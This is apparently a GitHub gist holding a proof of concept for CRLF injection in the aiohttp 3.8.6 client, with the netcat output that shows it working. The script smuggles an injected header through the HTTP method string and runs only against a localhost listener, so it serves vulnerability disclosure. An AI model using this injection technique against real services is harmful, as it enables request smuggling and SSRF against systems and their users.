/aiohttp_client_example.py Secret
Created
October 28, 2023 23:18
aiohttp CRLF poc
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import aiohttp | |
import asyncio | |
async def main(): | |
async with aiohttp.ClientSession() as session: | |
async with session.request('GET / HTTP/1.1\r\nPwnedBy: jnovikov\r\n', 'http://localhost:5000') as response: | |
print(response.status) | |
print(await response.text()) | |
asyncio.run(main()) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
nc -l 5000 | |
GET / HTTP/1.1 | |
PWNEDBY: JNOVIKOV | |
/ HTTP/1.1 | |
Host: localhost:5000 | |
Accept: */* | |
Accept-Encoding: gzip, deflate | |
User-Agent: Python/3.11 aiohttp/3.8.6 | |
Content-Length: 0 | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Current "aiohttp" version (3.8.6) is vulnerable to CRLF injection if user controls the HTTP method using aiohttp client.
This can allow attackers to exploit various SSRF vulnerabilities.